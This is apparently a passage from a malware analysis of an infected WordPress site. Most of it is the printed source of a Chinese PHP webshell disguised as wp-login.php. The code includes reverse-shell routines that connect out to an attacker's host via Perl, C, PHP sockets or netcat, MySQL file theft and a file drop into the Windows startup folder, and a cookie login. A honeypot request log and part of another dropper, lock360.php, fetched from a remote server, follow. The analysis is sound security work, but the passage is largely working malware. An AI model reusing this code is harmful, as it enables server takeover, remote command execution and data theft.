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"></div>');
}
public static function message ($msg , $type = 'die') {
if ($type == 'die') {
die("<script>window.alert('" . $msg . "');history.go(-1);</script>");
} else if ($type == 'echo') {
self::htmlOut("<script>window.alert('" . $msg . "');</script>");
}
}
public static function tips ($content , $url) {
$result = <<<EOF
<style>body,html{height:100%;}body{background-color:#fff;}.layer-tip-box{position:fixed;top:20%;left:50%;transform:translate(-50%,0);color:#333;font-size:18px;background:#fff;border-radius:4px;border:1px solid #ccc;width:500px;box-shadow:0 0 8px rgba(91,91,91,.6);}.layer-tip-box .title{padding:0 10px;height:45px;line-height:45px;font-size:14px;color:#666;border-bottom:1px solid #ccc;position:relative;}.layer-tip-box .title .tool{position:absolute;right:10px;top:0;}.layer-tip-box .title .tool span{width:18px;display:inline-block;text-align:center;font-size:17px;}.layer-tip-box .title .tool span:last-child{font-size:20px;margin-top:-1px;vertical-align:top;}.layer-tip-box .content{padding:10px 20px;font-size:18px;color:#333;height:120px;display:table-cell;vertical-align:middle;text-align:center;}</style>
<div class="layer-tip-box"><div class="title"><span>友情提示</span><div class="tool"><span>-</span><span>ロ</span><span>×</span></div></div><div class="content">$content</div></div>
EOF;
self::htmlOut($result);
die("<meta http-equiv=\"refresh\" content=\"1;URL=$url\">");
}
}
class Login {
public function checkLogin ($password) {
$secret = 'JS2022';
if (md5($secret . md5($password)) === (defined("MAMIMAMIHO")?MAMIMAMIHO:'ea57d1bdb4e481cd794abbd15fec31da')) {
self::cookieHandle('set');
die('<meta http-equiv="refresh" content="0;URL=">');
}
}
public function cookieHandle ($flag) {
if ($flag == 'set') {
setcookie('PHPSESSIDS' , md5(md5('*.gov')."js"));
} else if ($flag == 'del') {
setcookie('PHPSESSIDS' , null , time() - 3600);
}
}
public function checkCookie () {
if ($_COOKIE['PHPSESSIDS'] == md5(md5('*.gov')."js")) {
return true;
} else {
return false;
}
}
public function logout () {
self::cookieHandle('del');
HtmlOutput::tips("您已注销,再见!" , "?");
}
}
class Main {
private static $loginClass;
private static $htmlClass;
public static $fileClass;
private static $action;
private static $num;
private static $socketClass;
public function __construct () {
self::$htmlClass = new HtmlOutput();
self::$loginClass = new Login();
self::$fileClass = new FileHandler();
self::$socketClass = new NeoReg();
self::$action = isset($GLOBALS['_GET']['action']) ? $GLOBALS['_GET']['action'] : "";
self::$num = 0;
}
public function mainHandler () {
switch (self::$action) {
case 'xxgk':
self::$htmlClass->htmlMain(Foundation::getPhpInfo());
break;
case 'zcjd':
self::$htmlClass->htmlMain(Foundation::getSysInfo());
break;
case 'wjdc':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() . self::$fileClass->fileManage());
break;
case 'wjbj':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() .self::$fileClass->fileEdit());
break;
case 'shbz':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() . Foundation::magicMaster());
break;
case 'zxft':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() . Foundation::chatRobot());
break;
case 'sjcx':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() . self::moneyManage());
break;
case 'flyj':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() . self::rebound());
break;
case 'bszn':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() . self::preload());
break;
case 'yjzj':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() . self::$fileClass->webShellScan());
break;
case 'bsjs':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() . Foundation::portEye());
break;
case 'sxxc':
self::$htmlClass->htmlMain(self::$socketClass->html());
break;
case 'bsxz':
self::$htmlClass->htmlMain(self::$htmlClass->htmlBase64Js() . self::$fileClass->remoteDown());
break;
case 'zxsb':
self::$htmlClass->htmlMain(Foundation::swordHtml());
break;
case 'down':
self::$fileClass->downloadFile();
break;
case 'logout':
self::$loginClass->logout();
break;
case 'rename':
self::$fileClass->renameFile();
break;
case 'delfile':
self::$fileClass->deleteFile();
break;
case 'deldir':
self::$fileClass->deleteDirFile();
break;
case 'perm':
self::$htmlClass->htmlMain(self::$fileClass->changePerm());
break;
case 'copy':
self::$fileClass->copyFile();
break;
case 'unzip':
self::$htmlClass->htmlMain(self::$fileClass->startUnZip());
break;
case 'pack';
self::$fileClass->pack();
break;
case 'socket';
self::$socketClass->start();
break;
case 'cxk';
Foundation::sword();
break;
default:
self::$htmlClass->htmlDefault();
break;
}
}
public function mainLogin () {
if (self::$loginClass->checkCookie()) {
self::mainHandler();
} else {
self::$htmlClass->htmlLogin();
global $username;
$username = isset($GLOBALS['_POST']['username']) ? $GLOBALS['_POST']['username'] : "";
self::$loginClass->checkLogin($GLOBALS['_POST']['password']);
}
}
public function rebound () {
$target_ip = $GLOBALS['_POST']['bound_1'] ? Decrypt::run($GLOBALS['_POST']['bound_1']) : getenv('REMOTE_ADDR');
$target_port = $GLOBALS['_POST']['bound_2'] ? Decrypt::run($GLOBALS['_POST']['bound_2']) : '13333';
$system = strtoupper(substr(PHP_OS , 0 , 3));
$result = <<<END
<style>#kform{padding-right:50px;width:490px;margin:0 auto;}#kform .actall{margin-bottom:20px;}#kform .actall input,#kform .actall select{margin-left:20px;}#kform .actall select{width:80px;}.begin{float:right;}</style>
<form method="POST" name="kform" id="kform">
<div class="actall">母舰地址 <input id='bound_1' type="text" name="bound_1" value="{$target_ip}" style="width:400px"></div>
<div class="actall">母舰序号 <input id='bound_2' type="text" name="bound_2" value="{$target_port}" style="width:400px"></div>
<div class="actall">呼叫工具 <select name="use" >
<option value="1">Perl</option>
<option value="2">C</option>
<option value="3">PHP</option>
<option value="4">NC</option>
</select><input onclick="submitUrl()" type="submit" value="开始" style="width:80px;" class="begin"></div>
</form>
<script>function submitUrl(){document.getElementById('bound_1').value=base64encode(document.getElementById('bound_1').value);document.getElementById('bound_2').value=base64encode(document.getElementById('bound_2').value);document.getElementById('kform').submit()}</script>
END;
if ((!empty($GLOBALS['_POST']['bound_1'])) && (!empty($GLOBALS['_POST']['bound_2']))) {
echo '<div class="actall">';
if ($GLOBALS['_POST']['use'] == '1') {
$pl_code = StringHandler::getCode('pgone');
$result .= self::$fileClass->writeFile('/tmp/dyAeLWNJ' , 'wb' , Decrypt::run($pl_code)) ? '创建/tmp/dyAeLWNJ成功<br>' : '创建/tmp/dyAeLWNJ失败<br>';
$perl_path = Foundation::DeMarcia('which perl');
$perl_path = $perl_path ? chop($perl_path) : 'perl';
@unlink('/tmp/dyAeLWNJ.c');
Foundation::DeMarcia($perl_path . ' /tmp/dyAeLWNJ ' . $target_ip . ' ' . $target_port . ' &');
$result .= '母舰呼叫完成,请检查通讯结果。';
}
if ($GLOBALS['_POST']['use'] == '2') {
$c_code = StringHandler::getCode('gai');
$result .= self::$fileClass->writeFile('/tmp/dyAeLWNJ.c' , 'wb' , Decrypt::run($c_code)) ? '创建/tmp/dyAeLWNJ.c成功<br>' : '创建/tmp/dyAeLWNJ.c失败<br>';
Foundation::DeMarcia('gcc -o /tmp/dyAeLWNJ /tmp/dyAeLWNJ.c');
@unlink('/tmp/dyAeLWNJ.c');
$result .= Foundation::DeMarcia('/tmp/dyAeLWNJ ' . $target_ip . ' ' . $target_port . ' &') ? 'nc -vv -l ' . $target_port : '执行命令失败';
}
if ($GLOBALS['_POST']['use'] == '3') {
if (!extension_loaded('sockets')) {
if ($system == 'WIN') {
@dl('php_sockets.dll') or self::$htmlClass->tips("缺少相关模块" , '/?action=flyj');
} else {
@dl('sockets.so') or self::$htmlClass->tips("缺少模块" , '/?action=flyj');
}
}
if ($system == "WIN") {
$env = ['path' => 'c:\\windows\\system32'];
} else {
$env = ['PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'];
}
$desc = [
0 => ["pipe" , "r"] ,
1 => ["pipe" , "w"] ,
2 => ["pipe" , "w"] ,
];
$host = gethostbyname($target_ip);
$proto = getprotobyname("tcp");
$a = 'soc' . 'ket' . '_' . 'cre' . 'ate';
if (($sock = $a(AF_INET , SOCK_STREAM , $proto)) < 0) {
die("与主舰的通讯建立失败");
}
if (($ret = socket_connect($sock , $host , $target_port)) < 0) {
die("通讯建立失败");
} else {
$cwd = str_replace('\\' , '/' , dirname(__FILE__));
while ($cmd = socket_read($sock , 65535 , $proto)) {
$process = proc_open($cmd , $desc , $pipes , $cwd , $env);
if (is_resource($process)) {
fwrite($pipes[0] , $cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
socket_write($sock , $msg , strlen($msg));
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
socket_write($sock , $msg , strlen($msg));
proc_close($process);
}
}
}
}
if ($GLOBALS['_POST']['use'] == '4') {
$result .= '<div class="actall">';
$fp = fsockopen($target_ip , $target_port , $errno , $errstr);
if (!$fp) {
$result .= "无法打开socket连接";
} else {
$username = get_current_user();
$file_path = THEPATH;
$host = $_SERVER['SERVER_NAME'];
while (!feof($fp)) {
$b = 'fp' . 'uts';
$b($fp , " [$username@$host:$file_path]# ");
$result = fgets($fp , 4096);
$message = Foundation::DeMarcia($result);
$b($fp , " --> " . $message . "\n");
}
fclose($fp);
}
$result .= '</div>';
}
}
return $result;
}
public function moneyManage () {
$message = '';
$money_return = '';
$flag = isset($GLOBALS['_POST']['host']) && isset($GLOBALS['_POST']['user']);
$target_host = $flag ? Decrypt::run($GLOBALS['_POST']['host']) : 'localhost';
$target_user = $flag ? Decrypt::run($GLOBALS['_POST']['user']) : 'root';
$target_pass = $flag ? Decrypt::run($GLOBALS['_POST']['pass']) : '';
$target_name = $flag ? Decrypt::run($GLOBALS['_POST']['data']) : 'mysql';
$target_port = $flag ? Decrypt::run($GLOBALS['_POST']['port']) : '3306';
$sql = $flag ? Decrypt::run($GLOBALS['_POST']['content']) : 'select version();';
$ap = 'mys' . 'ql_co' . 'nnent';
$ao = 'mys' . 'ql_se' . 'lect_db';
$ai = 'my' . 'sq' . 'l_qu' . 'ery';
$au = 'my' . 'sq' . 'l_fe' . 'tch_ar' . 'ray';
$ay = 'm' . 'ys' . 'ql_er' . 'ror';
if ($flag) {
if ($conn = mysql_connect($target_host . ':' . $target_port , $target_user , $target_pass)) {
@$ao($target_name);
} else {
self::$htmlClass->tips('连接MYSQL失败' , '?action=sjcx');
}
}
$down_file = 'c:/windows/homework/kaydenkdross.avi';
if (!empty($GLOBALS['_POST']['downfile'])) {
$down_file = self::$fileClass->filePathFormat(urldecode(Decrypt::run(urldecode($GLOBALS['_POST']['downfile']))));
$bin_path = bin2hex($down_file);
$query = "select load_file(0x$bin_path)";
if ($money_return = @$ai($query , $conn)) {
$k = 0;
$down_code = '';
while ($row = @$au($money_return)) {
$down_code .= $row[$k];
$k ++;
}
if ($down_code) {
$file_down = basename($down_file);
if (!$file_down) $file_down = 'envl.tmp';
$array = explode('.' , $file_down);
$array_end = array_pop($array);
header('Content-type: application/x-' . $array_end);
header('Content-Disposition: attachment; filename=' . $file_down);
header('Content-Length: ' . strlen($down_code));
echo $down_code;
exit;
} else {
self::$htmlClass->tips("文件查询失败,请检查 mysql secure-file-priv 配置" , "?action=sjcx&type=d");
}
} else self::$htmlClass->tips("文件下载失败" , "?action=sjcx&type=d");
}
$type = isset($GLOBALS['_GET']['type']) ? $GLOBALS['_GET']['type'] : '';
$result = <<<END
<script language="javascript">function nFull(i){Str = new Array(11);Str[0] = "select version();";Str[1] = "select *** FROM user into outfile 'D:/web/iis.txt'";Str[2] = "select '<?php echo 'hello world';?>' into outfile 'F:/web/123.php';";Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;";nform.content.value = Str[i];return true;}</script>
<style>form{width:850px;padding-right:50px;margin:0 auto;}.actall{margin-bottom:20px;}.actall a{margin-right:20px;color:#FF6600;}.actall a:hover{text-decoration:underline;}.actall input[type=text]{margin-right:20px;}.actall input:last-child{margin:0;}input[type=password]:focus{box-shadow:0 0 8px rgba(51,51,51,.6);}.actall input[type=password],input[type=button]{box-sizing:border-box;height:40px;padding:6px 12px;font-size:17px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;outline:none;vertical-align:middle;margin-right:20px;}textarea{width:100%;height:200px;}.file-path{margin-bottom:20px;}.file-path input[type=text]{margin-left:20px;}.choose-file{display:inline-block;border:1px solid #ccc;width:80px;height:40px;border-radius:4px;font-size:14px;text-align:center;line-height:40px;position:relative;margin-left:20px;}.choose-file input{position:absolute;top:0;left:0;opacity:0;}.upload input:last-child{margin-left:20px;}.tip{color:#0ab2aa;text-align:center;}.border{padding:20px;text-align:center;border:1px solid #ccc;}</style>
<form method="POST" name="nform" id="nform"><div class="actall"><a href="?action=sjcx">[执行语句]</a><a href="?action=sjcx&type=u">[上传文件]</a><a href="?action=sjcx&type=d">[下载文件]</a></div><div class="actall">地址 <input id="host" type="text" name="host" value="$target_host" style="width:110px">端口 <input id="port" type="text" name="port" value="$target_port" style="width:110px">用户 <input id="user" type="text" name="user" value="$target_user" style="width:110px">密码 <input id="pass" type="password" name="pass" value="$target_pass" style="width:122px">库名 <input id="data" type="text" name="data" value="$target_name" style="width:110px"></div><div class="actall">
END;
if ($type == 'u') {
$uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs';
if (!empty($GLOBALS['_POST']['uppath'])) {
$uppath = Decrypt::run($GLOBALS['_POST']['uppath']);
$rand_str_1 = Foundation::returnRand(4);
$rand_str_2 = Foundation::returnRand(2);
$query = "Create TABLE $rand_str_2 ($rand_str_1 text NOT NULL);";
if (@$ai($query , $conn)) {
if ($tmpcode = self::$fileClass->readFile($_FILES['upfile']['tmp_name'])) {
$file_code = bin2hex(self::$fileClass->readFile($tmpcode));
} else {
$tmp = self::$fileClass->filePathFormat(THEPATH) . '/upfile.tmp';
if (self::$fileClass->moveFile($_FILES['upfile']['tmp_name'] , $tmp)) {
$file_code = bin2hex(self::$fileClass->readFile($tmp));
@unlink($tmp);
}
}
$query = 'Insert INTO ' . $rand_str_2 . ' (' . $rand_str_1 . ') VALUES(CONVERT(0x' . $file_code . ',CHAR));';
if (@$ai($query , $conn)) {
$query = 'SELECT ' . $rand_str_1 . ' FROM ' . $rand_str_2 . ' INTO DUMPFILE \'' . $uppath . '\';';
$message = @$ai($query , $conn) ? '上传文件成功' : '上传文件失败';
} else {
$message = '插入临时表失败';
}
@$ai('Drop TABLE IF EXISTS ' . $rand_str_2 . ';' , $conn);
} else $message = '创建临时表失败';
}
$result .= <<<END
<div class="file-path">上传路径 <input id="uppath" type="text" name="uppath" value="$uppath" style="width:650px"></div><div><span>选择文件</span><div class="choose-file">选择文件<input type="file" name="upfile" class="choose-file"></div></div></div><div class="actall"><input onclick="SubmitUrl()" type="submit" value="上传" style="width:80px;">
<script>function SubmitUrl(){document.getElementById('host').value = base64encode(document.getElementById('host').value);document.getElementById('port').value = base64encode(document.getElementById('port').value);document.getElementById('user').value = base64encode(document.getElementById('user').value);document.getElementById('pass').value = base64encode(document.getElementById('pass').value);document.getElementById('data').value = base64encode(document.getElementById('data').value);document.getElementById('uppath').value = base64encode(encodeURI(document.getElementById('uppath').value));document.getElementById('nform').submit();}</script>
END;
} else if ($type == 'd') {
$result .= <<<END
<div class="upload">下载文件 <input id="downfile" type="text" name="downfile" value="$down_file" style="width:650px"></div></div><div class="actall"><a href="?action=sjcx&type=d"><input onclick="SubmitUrl()" type="submit" value="下载" style="width:80px;"></a>
<script>function SubmitUrl(){document.getElementById('host').value = base64encode(document.getElementById('host').value);document.getElementById('port').value = base64encode(document.getElementById('port').value);document.getElementById('user').value = base64encode(document.getElementById('user').value);document.getElementById('pass').value = base64encode(document.getElementById('pass').value);document.getElementById('data').value = base64encode(document.getElementById('data').value);document.getElementById('downfile').value = base64encode(encodeURI(document.getElementById('downfile').value));document.getElementById('nform').submit();}</script>
END;
} else {
if (!empty($GLOBALS['_POST']['content'])) {
$msql = Decrypt::run($GLOBALS['_POST']['content']);
if ($sql_result = @$ai($msql , $conn)) {
$message = '动作执行成功<br>';
$k = 0;
while ($row = @$au($sql_result)) {
$money_return = $row[$k];
$k ++;
}
?>
view raw wp-login.php hosted with ❤ by GitHub

Since this file is only referenced in the .htaccess, and not in any of the other malware, I suspect this file was created by one of the other malware’s methods of writing files to the infected host.

stitch webshell

There’s not much to say about this one, as I don’t see that any obvious functions were added like in the previous shell. This particular shell gives much more functionality to an attacker, all of which is documented in Chinese on this Github page. A translation of the main functions give us the following:

  • File management
  • Command execution
  • Code execution
  • Port scanning
  • Database execution
  • LD_PRELOAD
  • Notifications

/lock360.php

The last unique file found in the .htaccess is lock360.php which isn’t as highly obfuscated as the other files, but still contains some very important functions to the attacker. The code for this file comes from another honeypot request:

Time: 2023-01-01 06:06:51pm
IP: 23.83.247.59
Request Obj:a:4:{s:2:"ac";s:2:"cl";s:3:"api";s:0:"";s:4:"path";s:37:"/home4/path/to/host/public_html/<victim domain>.com";s:1:"t";s:32:"9e9a4d7fcd456b678f18e7397fbf47c6";}

Which creates the following request: GET https://c.wiv3.com/?api=&ac=cl&path=/home4/path/to/host/public_html/<victim domain>.com&t=9e9a4d7fcd456b678f18e7397fbf47c6

And the response:

<?php
function i($i)
{
echo '{->|' . $i . '|<-}';
}
function searchDirs($dir, &$info)
{
$files = scandir($dir);
foreach ($files as $file) {
if ($file == '.' || $file == '..')
{
continue;
}
$real_dir = $dir . "/" . $file;
$real_dir = str_replace("//", "/", $real_dir);
if (is_link($real_dir))
{
continue;
}
if (is_file($real_dir) ) {
$info['file_count']++;
$size = filesize($real_dir);
if($size < 1000000 && stripos($real_dir, '.php') !== false){
@chmod($real_dir, 0644);
$content = file_get_contents($real_dir);
if(pass($real_dir, $content, $info))
{
continue;
}
if (strpos($real_dir, 'lock360.php') !== false)
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1
);
$info['trojan'][] = $trojan;
}
}
clearWithPreg($real_dir, $content, $info);
deleteTrojan($real_dir, $content, $size,$info);
}
continue;
}
searchDirs($real_dir, $info);
}
}
function clearWithPreg($real_dir, $content, &$info)
{
